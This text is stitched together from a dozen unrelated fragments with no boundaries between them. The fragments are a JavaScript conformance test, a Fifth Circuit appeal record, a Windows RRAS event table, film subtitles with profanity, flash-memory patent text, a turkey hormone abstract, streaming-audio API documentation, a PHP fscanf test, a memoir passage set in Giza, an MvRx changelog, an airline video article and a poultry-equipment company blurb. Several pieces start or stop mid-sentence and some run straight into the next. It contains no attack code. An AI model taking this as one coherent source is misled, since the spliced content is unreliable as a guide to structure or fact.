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---*/ var iterCount = 0; async function fn() { for await (var [cover = (function () {}), xCover = (0, function() {})] of [[]]) { assert.sameValue(cover.name, 'cover'); assert.notSameValue(xCover.name, 'xCover'); iterCount += 1; } } fn() .then(() => assert.sameValue(iterCount, 1, 'iteration occurred as expected'), $DONE) .then($DONE, $DONE); 929 F.2d 696 U.S.v.Lincoln* NO. 90-3386 United States Court of Appeals,Fifth Circuit. MAR 13, 1991 1 Appeal From: E.D.La. 2 AFFIRMED. * Fed.R.App.P. 34(a); 5th Cir.R. 34.2 # Microsoft-Windows-RRAS ETW events ## Description This page contains the list of events for Microsoft-Windows-RRAS, as collected by the Event Tracing for Windows. ## Sub Data Sets |events|Version|Description|Tags| |---|---|---|---| |[1000](events/event-1000.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Mprdim, etw_task_task_0| |[1001](events/event-1001.md)|0|None|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Mprdim, etw_task_task_0| |[1002](events/event-1002.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Mprdim, etw_task_task_0| |[1003](events/event-1003.md)|0|None|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Mprdim, etw_task_task_0| |[2000](events/event-2000.md)|0|None|etw_level_Error, etw_keywords_ut:Mprdim, etw_task_task_0| |[2001](events/event-2001.md)|0|None|etw_level_Informational, etw_keywords_ut:Mprdim, etw_task_task_0| |[2002](events/event-2002.md)|0|None|etw_level_Error, etw_keywords_ut:Mprdim, etw_task_task_0| |[2003](events/event-2003.md)|0|None|etw_level_Informational, etw_keywords_ut:Mprdim, etw_task_task_0| |[3000](events/event-3000.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Rtrmgr, etw_task_task_0| |[3001](events/event-3001.md)|0|None|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Rtrmgr, etw_task_task_0| |[3002](events/event-3002.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Rtrmgr, etw_task_task_0| |[3003](events/event-3003.md)|0|None|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Rtrmgr, etw_task_task_0| |[4000](events/event-4000.md)|0|None|etw_level_Error, etw_keywords_ut:Rtrmgr, etw_task_task_0| |[4001](events/event-4001.md)|0|None|etw_level_Informational, etw_keywords_ut:Rtrmgr, etw_task_task_0| |[4002](events/event-4002.md)|0|None|etw_level_Error, etw_keywords_ut:Rtrmgr, etw_task_task_0| |[4003](events/event-4003.md)|0|None|etw_level_Informational, etw_keywords_ut:Rtrmgr, etw_task_task_0| |[5000](events/event-5000.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Vpnike, etw_task_task_0| |[5001](events/event-5001.md)|0|None|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Vpnike, etw_task_task_0| |[5002](events/event-5002.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Vpnike, etw_task_task_0| |[5003](events/event-5003.md)|0|None|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Vpnike, etw_task_task_0| |[6000](events/event-6000.md)|0|None|etw_level_Error, etw_keywords_ut:Vpnike, etw_task_task_0| |[6001](events/event-6001.md)|0|None|etw_level_Informational, etw_keywords_ut:Vpnike, etw_task_task_0| |[6002](events/event-6002.md)|0|None|etw_level_Error, etw_keywords_ut:Vpnike, etw_task_task_0| |[6003](events/event-6003.md)|0|None|etw_level_Informational, etw_keywords_ut:Vpnike, etw_task_task_0| |[6004](events/event-6004.md)|0|None|etw_level_Informational, etw_keywords_ut:Vpnike, etw_task_task_0| |[7000](events/event-7000.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Vpnikeapi, etw_task_task_0| |[7001](events/event-7001.md)|0|None|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Vpnikeapi, etw_task_task_0| |[7002](events/event-7002.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Vpnikeapi, etw_task_task_0| |[7003](events/event-7003.md)|0|None|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Vpnikeapi, etw_task_task_0| |[8000](events/event-8000.md)|0|None|etw_level_Error, etw_keywords_ut:Vpnikeapi, etw_task_task_0| |[8001](events/event-8001.md)|0|None|etw_level_Informational, etw_keywords_ut:Vpnikeapi, etw_task_task_0| |[8002](events/event-8002.md)|0|None|etw_level_Error, etw_keywords_ut:Vpnikeapi, etw_task_task_0| |[8003](events/event-8003.md)|0|None|etw_level_Informational, etw_keywords_ut:Vpnikeapi, etw_task_task_0| |[9000](events/event-9000.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Rtm, etw_task_task_0| |[9001](events/event-9001.md)|0|None|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Rtm, etw_task_task_0| |[9002](events/event-9002.md)|0|None|etw_level_Error, etw_keywords_ut:RrasAdmin ut:

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ren whoops]" "[Sean] The world stage." "It's always seemed funny to me how a man can go from looking at a map of," "I don't know, say Helmand province, to finding himself in Europe trying to persuade our friends and allies that his crazy dream is their crazy dream, too." " [Glen grunts]" " Bonjour, General." "[sighs] Thank you." " [guard] Bonjour, monsieur." " Hello." "[Cory] Okay, so tomorrow afternoon, you have the presentation to I'École Militaire." "Uh..." "Tomorrow night, dinner with the minister of defense." "That is a gala dinner, by the way." "Just a heads-up so you can prepare yourself mentally." "It's a big one." "Meetings the next day." "Then we got the night free." " And then to Berlin." " [Glen] Yeah." "Here we go." "Obama is in Copenhagen tonight." "They wanna know if you can spare time for a meeting on Air Force One tomorrow morning." " The president wants some face time." " [Greg chuckles]" "Now he wants fucking face time." "Fucking dick." "So can you do that, boss?" "Then we can jet across to Copenhagen at zero six." "The president's gonna be on the tarmac at 8:30." "Well, you're the keeper of my schedule, Cory." "You tell me if I can do it." "Uh, okay, yeah, we can have you back in Paris early afternoon, depending on how much time you two need." "And I can shift your morning meetings." "See that out there?" "I'm calling that dusk." "That's close of fucking business." "Boss, you good with this?" "Sure, Pete." "We're not in theater." "You boys earned it." "Sir, have you had a chance to say hello to your wife yet?" "You know, she checked in this morning." "I think she's waiting for you in your room." "Shit." "Right, I should do that." " What room am I in again?" " [all speaking]" " 517." " What?" " Five-seven-one." " Five-one-seven." " Stop." "Go." " Five-one-seven." "Five-one-seven." " [knocking on door] - [clears throat]" " Hi, boss." " Hey, Willy." "[sighs]" " Hi." "Hi, honey." " Hi." " Hi." " Huh." "I'm sorry, I've been delayed." "The president is wanting time with me tomorrow, and we've been trying to ascertain whether... whether or not we can accommodate this request." " I'm gonna leave you two be." "I'll be..." " [clears throat]" " I'll be right next door." " Okay, thank you, Willy." "[sighs]" "[sighs] Well, we're in Paris." "Yeah..." "Hopefully we'll get to see some sights." "Yeah, I'll have, uh, Cory, uh, schedule some time." " Yeah." " Okay, but you do what you gotta do, because I am here for you." " Oh, yeah?" " Uh-huh." " How's Tim?" " Oh, he's good." "He's good." " He sends his love." " Okay." "Um..." "He's..." "He's got a new girlfriend now." " Ooh!" " Yeah, I like her." "Yeah, her daddy's an ILE instructor over at Leavenworth." " Huh." " Mmm-hmm." "Yeah, she's sweet." "You'll like her." "Hmm." "Well..." "Well, I..." "I think it's just great you're getting to see the president, honey." "You must be very excited, huh?" "[Pat] Hey, Glen." "Hope you don't mind me hitching a ride." "I'm on my own dash to see the president." "They told me you were heading over there this morning." "No problem, Pat." "My plane is your plane." " Knock yourself out." " Thanks, Glen." "So my hope is, depending on how long your meeting goes with the president, we can have you back in Paris NLT 1400, then straight to the École Militaire for 1500." "My uniform will be crushed after these flights." "I'll need a shower, a fresh shave." "I'm allowing for four solid hours with the president." "If it's less than that, we should be fine to go via the hotel." "I am just contingency planning for the possibility we may be running tight on time." " Can we move the École Militaire back?" " Not really." "Gonna be a lot of people there." "We have the gala dinner right after." "We don't have any wiggle room here." "[Greg] You should wear the fatigues to the thing this afternoon." "The general, direct from the battlefield." "No need to shower when you're straight from the fight." " That's good." " Yeah." " It's very good." " [Matt] I like that." "Well, just make sure Willy has my fatigues on standby." "[Glen grunts]" "Talking points for the president." "[Glen grunts]" "How you doing, Glen?" "Oh!" "[sighs]" "This one is a bitch, right?" "Nothing about war is easy, Pat." "Right on." "Though I'm guessing, somewhere deep down, you were happier in Iraq." "A soldier leading soldiers." "Soldiers above you, soldiers below you." "Just a nice bubble of soldiers." "Just ordered." "Right?" "'Cause it has to be." "War is chaos, so then the army has to be the opposite of chaos." "But now you find yourself in the real world." "Now you're dealing with civilians, and civilians don't make sense." "Not making sense is a luxury I can't afford." "Hmm." "Lives depend on it." " No, of course." " Yeah." "Absolutely." "And you can't live in the bubble forever." "You gotta rise as your talents dictate." "What do you want, Pat?" "How do you think this ends?" "Simple." "We either win it or we lose it." "Yeah, I don't know." "I think I'm gonna call bullshit on that, Glen." "All the winning we were ever gonna do, we did in the first six months." "And since then, we've just been making a mess." "And that's all it was ever gonna be." "You're not here to win." "You're here to clean up the mess." "You'll get your 40,000 troops." "Get 'em in there." "Get your PowerPoint presentation in order, you know?" "Just move the needle a little bit." "Show everyone how all the graphs are pointing in the right direction." "That's all you gotta do." "That's how this ends best for you..." "anyway." "A nice-looking set of graphs." "Or a nicer-looking set of graphs than the last set of graphs." "Either that or get yourself fired." "Then you can say "I told you so" when it all turns to shit or fizzles out or..." "however it is this thing ends." "There's no street parade at the end of this one." "It's good to talk." "[inaudible]" " [cameras shutters clicking] - [indistinct chatter]" "[Obama] Everybody." "How are you?" "Morning." "Yeah, it's good to see you again." "[indistinct chatter]" " How you doing?" "Good to see you." "Nice tie." " [man 1] Thank you." "[Obama] All right." "How's it going?" " Morning, sir." "Nice to see you again." " All right." "Take care now." "[woman] It's good to see you, Mr. President." "[Obama] All right, see you soon." " Mr. President." " It's great to see you, General." "I'm sorry, but we're running behind schedule." "I was looking forward to getting some face time with you, but I gotta get this baby in the air." "So... all right." "Smile for the cameras, Glen." "All right." "Take care." " Pat." " Mr. President." " Let's get going." " [Pat] Yes, sir." "All right, Magnus, talk to you soon." "Okay?" "[Sean] You could argue that the main reason certain generals like war so much is... well, because it's only in war that they feel truly relevant." "It's only in war that they feel close to the center of power." "Only in war do they feel the warm glow of other people's attention." "[Matt] Good evening, sir." "The attention of people like me." "Okay, you know what?" "You both look beautiful." "[chuckles] Really." "Uh, sir, before you get dragged into the hubbub there," "I want to introduce you to Sean Cullen here." "Sean's the writer from Rolling Stone." "He's been doing that profile piece on you." "He's gonna be tagging along for a couple days." "Thanks for having me, sir." "It's a real privilege." " Rolling Stone?" " Yes, sir." "Just make sure I'm on the cover." "Well, it's between you and Lady

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from the floating gate by transferring them back to the substrate through the gate oxide. This programming and erasing of an EEPROM is accomplished electrically and in-circuit by using Fowler-Nordheim tunneling as is well known in prior art. Basically, a sufficiently high voltage is applied to the control gate and drain while the source is grounded to create a flow of electrons in the channel region in the substrate. Some of these electrons gain enough energy to transfer from the substrate to the floating gate through the thin gate oxide layer by means of Fowler-Nordheim tunneling. The tunneling is achieved by raising the voltage level on the control gate to a sufficiently high value of about 12 volts. As the electronic charge builds up on the floating gate, the electric field is reduced, which reduces the electron flow. When, finally, the high voltage is removed, the floating gate remains charged to a value larger than the threshold voltage of a logic high that would turn it on. Thus, even when a logic high is applied to the control gate, the EEPROM remains off. Since tunneling process is reversible, the floating gate can be erased by grounding the control gate and raising the drain voltage, thereby causing the stored charge on the floating gate to flow back to the substrate. Of importance in the tunneling region is the quality and the thinness of the tunneling oxide separating the floating gate from the substrate. Usually a thickness of between about 80 to 120 Angstroms is required to facilitate Fowler-Nordheim tunneling. Several different methods of forming split-gate flash memory cells are described in prior art. Ahn in U.S. Pat. No. 5,652,161 is concerned about the degradation of the tunnel oxide in a flash EEPROM cell due to the band-to-band tunneling and the secondary hot carrier which are generated by a high electric field formed at the overlap regions between the junction region and the gate electrode when programming and erasure operations are performed by a high voltage to the structure in which the tunneling region is separated from the channel with a thick insulation film. In a separate U.S. Pat. No. 5,614,747, Ahn, et al., disclose a different method for manufacturing a flash EEPROM cell in order to prevent over-erasure of the cell and decrease the cell area by forming a floating gate in the form of a spacer on a side wall of a select gate and by forming a control gate to surround the select gate and the floating gate. Hong, et al, describe in U.S. Pat. No. 5,422,292 another process for fabricating split-gate flash EEPROM memory where the isolation between the floating gate and the control gate is improved by using a first and second oxide layer so that the problem of leakage does not occur. Jeng, on the other hand, discloses a method of re-crystallizing a floating gate for the purposes of maximizing the coupling between the floating gate and the drain and the portion of the channel regions over which the gate is disposed. In addition to these prior methods, what is needed is a method for improving the program erase speed of split-gate flash memory cells by shaping the edge of the floating gate as disclosed in the present invention.Plasma corticosterone values in genetic hypertensive and hypotensive strains of turkeys. Plasma corticosterone levels of hypertensive and hypostensive turkeys were 2.50 and 2.19 micrograms/dl, respectively. Male turkeys of both strains had a mean plasma levels of 2.47 micrograms/dl and female turkeys had a mean level of 2.21 micrograms/gl. The average plasma corticosterone level for all turkeys was 2.35 micrograms/dl. Although the plasma corticosterone levels were higher at 1200 hr than at either 0800 or 1600 hr, the differences were not statistically significant. It was condluded that blood pressure selection had no significant effect on plasma corticosterone levels.//-------------------------------------------------------------------------------------------------- /** * @page c_streamMedia Stream Media API * * @ref streamMedia_interface.h "API Reference" <br> * <HR> * * @warning This interface is experimental and unsupported. * * The Stream Media API handles media streaming interfaces with real-time protocols like RTP. * * The Real-time Transport Protocol is used to stream audio over IP/Ethernet. It is used to * transport any audio stream through an IP or Ethernet network. * * The RTP protocol is augmented by a control protocol called Real-Time Transport Control Protocol * (RTCP), which provides monitoring capabilities on the data delivery and minimum control * functionality. * * More information on the protocol can be found in * <a href="https://tools.ietf.org/pdf/rfc3550.pdf">RFC-3550</a>. A description of the RTP/AVP * profile, which describes generic audio and video conferences, can be found in * <a href="https://tools.ietf.org/pdf/rfc3551.pdf">RFC-3551</a>. * * @note The RTP interface does not provide the full Audio/Video Profile (AVP) profile : it can only * handle a singlecast audio session. * * Typically, the RTP interface can be used to redirect an audio call coming from an audio interface * through an IP network. For example, an IP audio server (Legato platform) would retrieve audio * from any audio interface (e.g. a Modem voice call), and connect it to the RTP interface that * sends the data through an IP network. The data would be received by an IP client (PC, smartphone, * Legato platform) that is able to decode the audio stream. * * @image html AudioOverIP.png * * In order to start a RTP session, information on the local and remote IP address are required to * set up UDP sockets. The local port corresponds to the UDP socket on which RTP packets will be * sent and received, and the remote address and port correspond to the IP address and port on which * RTP packets should be sent. * * @section streamMedia_binding IPC interfaces binding * * All the functions of this API are provided by the @b streamMedia sample service. * * Here's a code sample binding to streamMedia service: * @verbatim bindings: { clientExe.clientComponent.streamMedia -> streamMedia.streamMedia } @endverbatim * * @section streamMedia_interfaces Open/Close an Audio Interface * * The following functions let you select the desired interface attributes: * - streamMedia_OpenAudioRtpRx(): return an Audio Stream Reference of the digitized audio signal * coming from a RTP socket. * - streamMedia_OpenAudioRtpTx(): return an Audio Stream Reference of the digitized audio signal * routed to a RTP socket. * * @section streamMedia_rtp RTP * * The streamMedia_OpenAudioRtpRx() and streamMedia_OpenAudioRtpTx() functions allow the * application to set up a RTP session. * * After opening and connecting a RTP interface, it has to be started using streamMedia_Start(). * * You can also register a handler function for RTCP packet reception management. * * streamMedia_AddRtcpHandler() function installs a handler for RTCP Packet reception. * * streamMedia_RemoveRtcpHandler() function removes the RTCP handler function. * * The streamMedia_SendRtcpSdes() and streamMedia_SendRtcpBye() functions allow the * application to send RTCP Session Description (SDES) or BYE packet. * * The RTCP SDES packet can be used to mark the beginning of the RTP session. It is composed of * several optional text fields that can provide information about the user's name, email address, * etc... See streamMedia_SendRtcpSdes() for more details. * * The RTCP BYE packet can be used to mark the end of the RTP session. It is possible to specify the * reason. See streamMedia_SendRtcpBye() for more details. * * More information on the RTCP SDES and BYE packets can be found in * <a href="https://tools.ietf.org/pdf/rfc3550.pdf">RFC-3550</a>. * * Before disconnecting and closing a RTP interface, it has to be stopped using * streamMedia_Stop(). Then, after disconnecting the interface from the connector, * streamMedia_Close() is called to close it. * * @note The RTP interface requires one more UDP socket in order to send and receive RTCP packets. * The RTCP UDP socket port number is automatically set to the local RTP port plus one. * * @section streamMedia_code Sample code * * The following samples illustrate the case described in the image above. It consists of two * different devices that communicate through RTP over an IP network. One device handles a modem * voice call, and the other one handles the microphone and speaker. * * @warning The following codes show a basic example of how to transmit audio through RTP between * two peers. Quality of service is not provided in those samples. They just show how the * streamMedia API should work and how it should be used. * * This first sample code

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to a format */ /* Test fscanf() to scan different strings using different string format types */ $file_path = dirname(__FILE__); echo "*** Test fscanf(): different string format types with different string ***\n"; // create a file $filename = "$file_path/fscanf_variation14.tmp"; $file_handle = fopen($filename, "w"); if($file_handle == false) exit("Error:failed to open file $filename"); // different valid strings /* string created using Heredoc (<<<) */ $heredoc_string = <<<EOT This is string defined using heredoc. EOT; /* heredoc string with only numerics */ $heredoc_numeric_string = <<<EOT 123456 3993 4849 string EOT; /* null heardoc string */ $heredoc_empty_string = <<<EOT EOT; $heredoc_null_string = <<<EOT NULL EOT; $valid_strings = array( "", " ", '', '', "string", 'string', "NULL", 'null', "FALSE", 'true', "\x0b", "\0", '\0', '\060', "\070", "0x55F", "055", "@#$#$%%$^^$%^%^$^&", $heredoc_string, $heredoc_numeric_string, $heredoc_empty_string, $heredoc_null_string ); // various string formats $string_formats = array( "%s", "%hs", "%ls", "%Ls", " %s", "%s ", "% s", "\t%s", "\n%s", "%4s", "%30s", "%[a-zA-Z0-9]", "%*s" ); $counter = 1; // writing to the file foreach($valid_strings as $string) { @fprintf($file_handle, $string); @fprintf($file_handle, "\n"); } // closing the file fclose($file_handle); // opening the file for reading $file_handle = fopen($filename, "r"); if($file_handle == false) { exit("Error:failed to open file $filename"); } $counter = 1; // reading the values from file using different string formats foreach($string_formats as $string_format) { // rewind the file so that for every foreach iteration the file pointer starts from bof rewind($file_handle); echo "\n-- iteration $counter --\n"; while(!feof($file_handle) ) { var_dump( fscanf($file_handle,$string_format) ); } $counter++; } echo "\n*** Done ***"; ?> --CLEAN-- <?php $file_path = dirname(__FILE__); $filename = "$file_path/fscanf_variation14.tmp"; unlink($filename); ?> --EXPECTF-- *** Test fscanf(): different string format types with different string *** -- iteration 1 -- NULL NULL NULL NULL array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(4) "NULL" } array(1) { [0]=> string(4) "null" } array(1) { [0]=> string(5) "FALSE" } array(1) { [0]=> string(4) "true" } NULL NULL array(1) { [0]=> string(2) "\0" } array(1) { [0]=> string(4) "\060" } array(1) { [0]=> string(1) "8" } array(1) { [0]=> string(5) "0x55F" } array(1) { [0]=> string(3) "055" } NULL array(1) { [0]=> string(4) "This" } array(1) { [0]=> string(5) "using" } array(1) { [0]=> string(6) "123456" } array(1) { [0]=> string(4) "4849" } NULL array(1) { [0]=> string(4) "NULL" } bool(false) -- iteration 2 -- NULL NULL NULL NULL array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(4) "NULL" } array(1) { [0]=> string(4) "null" } array(1) { [0]=> string(5) "FALSE" } array(1) { [0]=> string(4) "true" } NULL NULL array(1) { [0]=> string(2) "\0" } array(1) { [0]=> string(4) "\060" } array(1) { [0]=> string(1) "8" } array(1) { [0]=> string(5) "0x55F" } array(1) { [0]=> string(3) "055" } NULL array(1) { [0]=> string(4) "This" } array(1) { [0]=> string(5) "using" } array(1) { [0]=> string(6) "123456" } array(1) { [0]=> string(4) "4849" } NULL array(1) { [0]=> string(4) "NULL" } bool(false) -- iteration 3 -- NULL NULL NULL NULL array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(4) "NULL" } array(1) { [0]=> string(4) "null" } array(1) { [0]=> string(5) "FALSE" } array(1) { [0]=> string(4) "true" } NULL NULL array(1) { [0]=> string(2) "\0" } array(1) { [0]=> string(4) "\060" } array(1) { [0]=> string(1) "8" } array(1) { [0]=> string(5) "0x55F" } array(1) { [0]=> string(3) "055" } NULL array(1) { [0]=> string(4) "This" } array(1) { [0]=> string(5) "using" } array(1) { [0]=> string(6) "123456" } array(1) { [0]=> string(4) "4849" } NULL array(1) { [0]=> string(4) "NULL" } bool(false) -- iteration 4 -- NULL NULL NULL NULL array(1) { [0]=> string(6) "string" } array(1) { [0]=> string(6) "string" } array

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to return to the pyramids for another dose of their powers. I left my belongings at the perfume shop and mounted a camel for my trek to the small, potent pyramid that had unleashed its energy on me yesterday. I had packed away my white head covering in my suitcase. I didn't think wearing it today would be necessary. But Essam insisted that I again wear white "to get the powers." As the camel clopped down the narrow path on the way to the desert, I purchased yet another white cloth and stuck it on my head. I didn't understand what had taken place in the pyramid. I didn't see how wearing a white rag on my head connected to this mystery. But undeniably, yesterday _had_ affected me greatly. I wanted more—even if meant looking ridiculous. Essam's young nephew rode alongside me again. I smiled at the same bulky sun-withered pyramid guard and followed him through the tiny opening in the side of the tomb. I crouched down and walked through the narrow curving passageway. The guard placed four white candles on the rim encircling the small room in the center of the pyramid. He and my guide then departed, leaving me alone to receive more of the "special powers." This time, I sat cross-legged on the floor, closed my eyes, and asked God to help me. I began to meditate, breathing in the air and energy of this dank mysterious vortex. In moments, just seconds, it hit me. It entered through my crown. The force of the energy whipped me backwards, knocking me flat on the ground. The hair on my arms stood up, electrified. From my head to my toes, this mysterious vortex whirled through me with the force of a tornado, charging me with its powers. It had probably done the same thing yesterday, but I'd been too clogged with my own dank beliefs and dark emotional residues to feel it. Today, I could feel it while it was happening. Yesterday had been a critical step—a preparation for today. There are higher places we can go to connect with ancient energies, power, and wisdom that have been entombed and hidden from sight. The purpose of the powerful energy being unleashed is to clear us out so these long-forgotten powers can manifest in each of us. When I finished meditating, I tipped the guard, rode the camel back to the sandlot, paid my guide, and thanked Essam. I made tentative plans to return to Essam and the pyramids in a few days. I was ready to get to work. When I arrived at my new home, the small hotel near Giza, the owner checked me in and gave me a key to my room. I took the slow, creaking elevator to the ninth floor, went to the room number I had been assigned, and opened the door. I looked around, my eyes widening in disbelief. This room was dark, and it was the size of a large closet—nothing like the apartment I had been shown before. I walked to the one small window, opened the grimy curtains, and looked outside. The room was not only small and dark, it directly overlooked a construction site. This triggered a memory, an unpleasant one that had begun the summer before this trip. _I was renting a small cottage by the sea. I could hear the waves from every room in my little house. The warm California sun rarely hid behind the clouds. I could write, walk on the beach, go for a swim in the ocean after my morning coffee. I could live and write my books with nature at my side. It wasn't necessarily a dream home, but it was heaven to me—until the pounding began_. _It started with a simple "for sale" sign that went up on the house next door. Soon new owners purchased the property—a sprawling mansion that dwarfed my little cottage. The new owners gutted their huge house and began major reconstruction. In California, there is often little space between the homes. Their home was only a few feet from my office, my bedroom, and my living room. Every morning, the noise from the hammering, the radios, and the loud voices of the laborers woke me before my alarm, which was set for 7:00 A.M. Most days, the noise sounded as if it came from my living room_. _The pounding continued day after day after day—six and sometimes seven days a week_. _It would go on for almost a year_. _The noise seemed to intensify each time I went in my office to work. Even the healing forces of nature—the sun, fresh air, and frothy surf—weren't enough to diminish the colossally annoying forces of the workers' hammering blows_. _I explored moving. I looked at over fifty other dwellings. No door opened for me there. I was stuck living next to a construction site. I tried to live with the situation as best I could, acknowledging my neighbors' right to renovate and my right to be annoyed. But the combination of their noise and my frustration blocked me from working or living in peace_. Now in Giza, as I looked out from this tiny, dark room and saw the sprawling construction site loaded with jackhammers, mesh fencing, and loud-talking workers, I just shook my head. This isn't going to work, I thought. It's not going to work at all. I returned to the lobby and complained to the manager. "This is not the room you showed me originally," I said. "I want a large room like the one I saw before. I want windows, so light can get in. And I don't want to live and sleep next to a construction site. I'm planning on working here. I told you that before. I need peace and quiet." The manager, an older, polished Arabian gentleman dressed in a suit, suddenly developed a problem speaking English. He acted as if he didn't understand, stumbled over words, balked a bit, then finally agreed to give me a better room—the only other room he said was available. Naturally, he would have to raise the price. I said that was fine but asked to see the room first. He showed me the room. It was the same one he had originally shown me. I grilled him then. "Will it be quiet here?" I asked. "Yes," he said. "Do you promise?" I asked. "Yes," he said, assuring me the room would be everything I wanted. I transferred my luggage and, for the first time since leaving the United States, unpacked. I hung my clothes in the closet. I put my smaller garments in the drawers. I unpacked my bath products, my hair products, and my mementos. I spent the entire evening setting up my room. I was halfway around the world from where I lived, but I wanted to make myself feel comfortable. The following day, I finally unpacked my computer too. I hooked up the electrical adapter I had brought to accommodate the foreign voltage. Then I turned on the computer, opened a fresh new file, and typed one or two words, trying to get my lead. That's when it began. It started with one loud pound. Seconds later, another loud pound followed. Then, another. Soon the pounds turned into continuous, irregularly paced slams that shook the walls, the floor, and the legs of the little table where I sat, staring into my fresh new file. I didn't know who was making this noise but my irritation increased with each wall-shaking slam. I told myself to ignore the pounding. Then my stomach started to hurt. It ached. I forced myself to focus on the blank computer screen and tried to think up words to write. The harder I tried to focus, the harder the pounding shook the walls and my concentration, and the more my stomach hurt. What's wrong with me that I can't handle a little pounding? I thought. Just buck up, do your work, and ignore the noise. I couldn't ignore it. Finally, I pushed my chair away from the table and walked to the outside corridor. I looked around, trying to locate the source of the noise and my aggravation. I didn't have to go far. The door to the room next to mine was wide open. A dark, rail-thin man sat cross-legged on the floor, a few inches from the wall. In his hand, he held a large mallet—the biggest hammer I had ever seen. Every few seconds, he raised the mallet over his head and took a whack at the wall. Each blow cracked off a tiny piece of the thick, concrete-like plaster that comprised these old Egyptian walls. The man wasn't wielding the hammer fast, but he was smacking hard. It looked as if he was yet to find his rhythm. The entire hole he had made in the wall measured less than a square foot. "Excuse me," I said. He looked my way. "How long is this pounding going to continue?" I asked. He looked around the room and gestured. "Until all the walls are down," he said. I took a deep breath, thanked him, and returned to my room. I tried going back to my writing and ignoring the noise. That didn't work. The more I tried to ignore the pounding, the louder it sounded. Each time I heard the thud of the hammer hitting the wall, I began anticipating the next blow.

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Factory<S>` to `MvRxFactory<VM, S>` for better type safety. - Changed signature of `MvRxViewModelFactory#create(activity: FragmentActivity, state: S) : VM` to `MvRxViewModelFactory#create(viewModelContext: ViewModelContext, state: S) : VM?`. `ViewModelContext` contains a reference to the owning activity and MvRx fragment arguments. For fragment scoped ViewModels, it will be of type `FragmentViewModelContext` with a reference to the creating fragment. These changes allow depedency injection of your ViewModel. - New: Added `MvRxViewModelFactory#initialState(viewModelContext: ViewModelContext) : S?`. This is useful if the initial state requires information not available in `args`. - New: `@JvmStatic` no longer required on `MvRxViewModelFactory#create` and new `MvRxViewModelFactory#initialState`. - Migration guide, required changes marked with `**`: ```kotlin companion object : MvRxViewModelFactory<**RandomDadJokeViewModel**, RandomDadJokeState> { ** // No JvmStatic needed ** override fun create(viewModelContext: ViewModelContext, state: RandomDadJokeState): **RandomDadJokeViewModel** { val service: DadJokeService by **viewModelContext.activity**.inject() return RandomDadJokeViewModel(state, service) } } ``` - New: [#154](https://github.com/airbnb/MvRx/pull/154) Created `MvRxTestRule` in `mvrx-testing` artifact to disable debug checks and change RxSchedulers. Add the test library: ``` dependencies { testImplementation 'com.airbnb.android:mvrx-testing:0.7.0' } ``` To use the rule, add the following to a test file: ```kotlin class MyTest { companion object { @JvmField @ClassRule val mvrxTestRule = MvRxTestRule() } } ``` - New: Add `Completable#execute` [#170](https://github.com/airbnb/MvRx/pull/170) - Improved speed of saving and recreating state with `@PersistState`. [#159](https://github.com/airbnb/MvRx/pull/159) - Upgrade Kotlin to 1.3.11 - Upgrade to support lib 28.0.0 and fix bug when using 28.0.0 and restoring in a new process. [#150](https://github.com/airbnb/MvRx/pull/150) - Fix: Allow state arg constructors to accept subtypes [#144](https://github.com/airbnb/MvRx/pull/144). ## Version 0.6.0 *(2018-10-23)* - New: Option to not re-emit the most recent state value when transitioning from stopped -> start. [#113](https://github.com/airbnb/MvRx/pull/113) - New: Add ScriptableStateStore interface for UI testing. [#88](https://github.com/airbnb/MvRx/pull/88) - New: Debug validation for state immutability [#90](https://github.com/airbnb/MvRx/pull/90) - New: selectSubscribe for 4-7 properties [#125](https://github.com/airbnb/MvRx/pull/125) - Fix: Execute no longer sets a default subscribeOn thread. [#75](https://github.com/airbnb/MvRx/pull/75) - Fix: Memory leaks. [#110](https://github.com/airbnb/MvRx/pull/110), [#111](https://github.com/airbnb/MvRx/pull/111) - Fix: Proper Proguard Rules. [#78](https://github.com/airbnb/MvRx/pull/78) - Fix: Multiple `setState` called within a `withState` will execute in expected order. [#89](https://github.com/airbnb/MvRx/pull/89) ## Version 0.5.0 *(2018-08-28)* - Initial Open source release This new Delta video—which it has dubbed "The Internetest safety video on the Internet"—incorporates 25 Internet memes that, added up, have garnered two billion video views, according to the Atlanta-based airline. The Roomba Cat glides down the aisle; Dramatic Chipmunk is dramatic; the "Charlie Bit My Finger" boys are all grown up; and a flight attendant completes the Ice Bucket Challenge. From the Double Rainbow Guy to the weird dancing baby from Ally McBeal, this new safety video is a brilliant pastiche of Internet zeitgeist, past and present. Oh, and Deltalina is back. Screenshot via Delta Delta has been upping its own safety video game with its witty, multiple-version clips; today's new video tries to not only make passengers want to sit up and watch, but also become an internet hit in its own right. Did Delta just make the internet jump the shark? Or are we merely seeing the signs of an era in which the Internet is an integral part of flying? After all, by retrofitting 250 of its planes, Delta is leading American carriers in bringing fast internet connection to the air—which might make you shell out the money to go online and rewatch the Nyan Cat video again.Foodmate Since 2006 Foodmate has become the committed and reliable partner of major poultry processing companies worldwide. Company Profile – Foodmate US Foodmate is a leading poultry processing equipment manufacturer based in the Netherlands. Founded by industry experts in early 2006, the company quickly expanded its worldwide distribution into North and South America with the launch of Foodmate US in 2010. Foodmate has since become the committed and reliable partner of major poultry processing companies worldwide. Our team of dedicated professionals is backed by decades of poultry industry knowledge and experience, resulting in the engineering, development and implementation of highly innovative meat processing equipment geared to our clients’ ever-changing needs. Though cut-up and chicken deboning systems are the company’s main 